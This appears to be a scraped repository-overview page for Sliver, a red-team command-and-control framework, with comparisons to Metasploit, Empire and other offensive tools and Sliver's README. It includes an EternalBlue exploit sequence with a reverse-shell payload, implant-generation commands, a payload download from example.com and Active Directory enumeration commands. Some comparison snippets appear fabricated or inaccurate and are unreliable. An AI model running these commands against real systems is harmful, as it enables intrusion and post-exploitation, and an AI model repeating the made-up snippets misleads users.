Convert Figma logo to code with AI

BishopFox logosliver

Adversary Emulation Framework

8,207
1,080
8,207
190

Top Related Projects

Metasploit Framework

4,168

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.

Covenant is a collaborative .NET C2 framework for red teamers.

A swiss army knife for pentesting networks

PowerSploit - A PowerShell Post-Exploitation Framework

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.

Quick Overview

Sliver is an open-source, cross-platform adversary emulation/red team framework. It provides a powerful and flexible platform for offensive security professionals to conduct penetration testing and red team operations. Sliver supports various implant types and communication protocols, making it adaptable to different environments and scenarios.

Pros

  • Cross-platform support (Windows, macOS, Linux)
  • Extensive features for post-exploitation and lateral movement
  • Active development and community support
  • Highly customizable and extensible

Cons

  • Steep learning curve for beginners
  • Limited documentation compared to some commercial alternatives
  • Potential for misuse if not handled responsibly
  • Requires careful configuration to avoid detection by security tools

Getting Started

To get started with Sliver:

  1. Download the latest release from the GitHub repository.
  2. Extract the archive and run the Sliver server:
./sliver-server
  1. In the Sliver console, generate a new implant:
new --os windows --arch amd64 --format exe --save /path/to/implant.exe
  1. Start a listener:
http
  1. Execute the implant on the target system and wait for the connection in the Sliver console.

For more detailed instructions and advanced usage, refer to the official documentation on the GitHub repository.

Competitor Comparisons

Metasploit Framework

Pros of Metasploit-Framework

  • Extensive library of exploits and modules
  • Large community support and regular updates
  • Well-documented and widely used in the industry

Cons of Metasploit-Framework

  • Can be resource-intensive and slower to execute
  • More complex to use for beginners
  • Potentially easier to detect by antivirus software

Code Comparison

Metasploit-Framework (Ruby):

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

Sliver (Go):

generate --mtls 192.168.1.10 --os windows
implant --name win10 --os windows
use win10
shell

Sliver focuses on simplicity and stealth, while Metasploit-Framework offers a broader range of tools and exploits. Sliver's code is more concise and easier to use, but Metasploit-Framework provides more detailed control over exploits and payloads. Both tools have their strengths, with Metasploit-Framework being more comprehensive and Sliver being more lightweight and evasive.

4,168

Empire is a post-exploitation and adversary emulation framework that is used to aid Red Teams and Penetration Testers.

Pros of Empire

  • More extensive PowerShell-based capabilities for Windows environments
  • Larger community and longer development history
  • Broader range of built-in modules and post-exploitation tools

Cons of Empire

  • Less focus on cross-platform support compared to Sliver
  • May be more easily detected by modern antivirus solutions
  • Slower development pace and less frequent updates

Code Comparison

Empire (PowerShell-centric):

$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$wc.DownloadString("http://example.com/payload")

Sliver (Go-based, cross-platform):

client := &http.Client{}
req, _ := http.NewRequest("GET", "http://example.com/payload", nil)
req.Header.Set("User-Agent", "Mozilla/5.0")
resp, _ := client.Do(req)

Both Empire and Sliver are powerful post-exploitation frameworks, but they cater to different needs. Empire excels in Windows environments with its PowerShell focus, while Sliver offers better cross-platform support and modern evasion techniques. Empire has a larger module library, but Sliver's active development and Go-based architecture provide better performance and stealth. The choice between them depends on the specific requirements of the penetration testing or red team engagement.

Covenant is a collaborative .NET C2 framework for red teamers.

Pros of Covenant

  • Built with .NET Core, offering cross-platform compatibility
  • Extensive GUI for easier management and visualization
  • Supports a wide range of built-in listeners and implants

Cons of Covenant

  • Less actively maintained compared to Sliver
  • May be more resource-intensive due to its GUI and .NET framework
  • Potentially easier to detect due to its .NET-based implants

Code Comparison

Sliver (Go):

func (s *SliverServer) StartHTTPListener(port uint16) error {
    s.httpServer = &http.Server{
        Addr:    fmt.Sprintf(":%d", port),
        Handler: s.httpHandler(),
    }
    return s.httpServer.ListenAndServe()
}

Covenant (C#):

public async Task StartListener(int port)
{
    var listener = new HttpListener();
    listener.Prefixes.Add($"http://*:{port}/");
    listener.Start();
    while (true)
    {
        var context = await listener.GetContextAsync();
        // Handle request
    }
}

Both projects implement HTTP listeners, but Sliver uses Go's built-in HTTP server, while Covenant uses C#'s HttpListener class. Sliver's implementation is more concise, reflecting Go's simplicity, while Covenant's approach offers more granular control over the listening process.

A swiss army knife for pentesting networks

Pros of CrackMapExec

  • Specialized for Windows/Active Directory environments
  • Extensive built-in modules for various post-exploitation tasks
  • Supports multiple protocols (SMB, WMI, MSSQL, etc.)

Cons of CrackMapExec

  • Limited cross-platform support (primarily Windows-focused)
  • Less flexible for custom payload development
  • Requires more manual interaction compared to Sliver's automation capabilities

Code Comparison

CrackMapExec example:

from crackmapexec import CME

cme = CME(target='192.168.1.0/24', username='admin', password='password')
cme.enum_shares()

Sliver example:

func main() {
    session := sliver.NewSession()
    session.RunCommand("ls -la")
    session.Upload("/path/to/file", "/remote/path")
}

Both tools offer powerful features for penetration testing and red team operations. CrackMapExec excels in Windows environments with its specialized modules, while Sliver provides a more versatile and cross-platform approach with its implant-based architecture. The choice between them depends on the specific requirements of the engagement and the target environment.

PowerSploit - A PowerShell Post-Exploitation Framework

Pros of PowerSploit

  • Extensive collection of PowerShell-based post-exploitation tools
  • Well-established and widely recognized in the security community
  • Integrates seamlessly with existing PowerShell environments

Cons of PowerSploit

  • Less actively maintained compared to Sliver
  • Limited cross-platform support (primarily Windows-focused)
  • May be more easily detected by modern antivirus solutions

Code Comparison

PowerSploit (PowerView module):

Get-NetDomain
Get-NetUser
Get-NetComputer
Invoke-UserHunter
Find-LocalAdminAccess

Sliver:

func (s *Server) GetSessions(ctx context.Context, req *clientpb.Sessions) (*clientpb.Sessions, error)
func (s *Server) NewSession(ctx context.Context, req *clientpb.Session) (*clientpb.Session, error)
func (s *Server) DeleteSession(ctx context.Context, req *clientpb.Session) (*commonpb.Empty, error)

PowerSploit focuses on PowerShell-based reconnaissance and exploitation, while Sliver provides a more comprehensive C2 framework with cross-platform support. PowerSploit's code is centered around Windows-specific enumeration, whereas Sliver's code demonstrates session management capabilities across different platforms.

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.

Pros of Social-Engineer-Toolkit

  • Focused on social engineering attacks, providing a wide range of tools for phishing, spear-phishing, and other social engineering techniques
  • User-friendly interface with menu-driven options, making it accessible for both beginners and experienced users
  • Regularly updated with new attack vectors and techniques

Cons of Social-Engineer-Toolkit

  • Limited in scope compared to Sliver, which offers a more comprehensive C2 framework
  • Less flexibility in customizing payloads and post-exploitation modules
  • Primarily designed for Linux systems, while Sliver supports multiple platforms

Code Comparison

Social-Engineer-Toolkit (Python):

# Main menu selection
if main_menu_choice == '1':
    webattack_menu = create_menu(text.webattack_text, text.webattack_menu)
    webattack_menu_choice = input(webattack_menu)

Sliver (Go):

// Command execution
func (s *Session) Execute(ctx context.Context, cmd string, args []string) ([]byte, error) {
    data, err := s.Request(ctx, &sliverpb.ExecuteReq{
        Request: &commonpb.Request{},
        Path:    cmd,
        Args:    args,
    })
    // ... (error handling and response processing)
}

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

Sliver

Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.

The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).

Release Go Report Card License: GPL v3

v1.6.0 / master

NOTE: You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.

For PRs containing bug fixes specific to Sliver v1.5, please target the v1.5.x/master branch.

Features

  • Dynamic code generation
  • Compile-time obfuscation
  • Multiplayer-mode
  • Staged and Stageless payloads
  • Procedurally generated C2 over HTTP(S)
  • DNS canary blue team detection
  • Secure C2 over mTLS, WireGuard, HTTP(S), and DNS
  • Fully scriptable using JavaScript/TypeScript or Python
  • Windows process migration, process injection, user token manipulation, etc.
  • Let's Encrypt integration
  • In-memory .NET assembly execution
  • COFF/BOF in-memory loader
  • TCP and named pipe pivots
  • Much more!

Getting Started

Download the latest release and see the Sliver wiki for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.

Linux One Liner

curl https://sliver.sh/install|sudo bash and then run sliver

Help!

Please checkout the wiki, or start a GitHub discussion. We also tend to hang out in the #golang Slack channel on the Bloodhound Gang server.

Compile From Source

See the wiki.

Feedback

Please take a moment and fill out our survey

License - GPLv3

Sliver is licensed under GPLv3, some sub-components may have separate licenses. See their respective subdirectories in this project for details.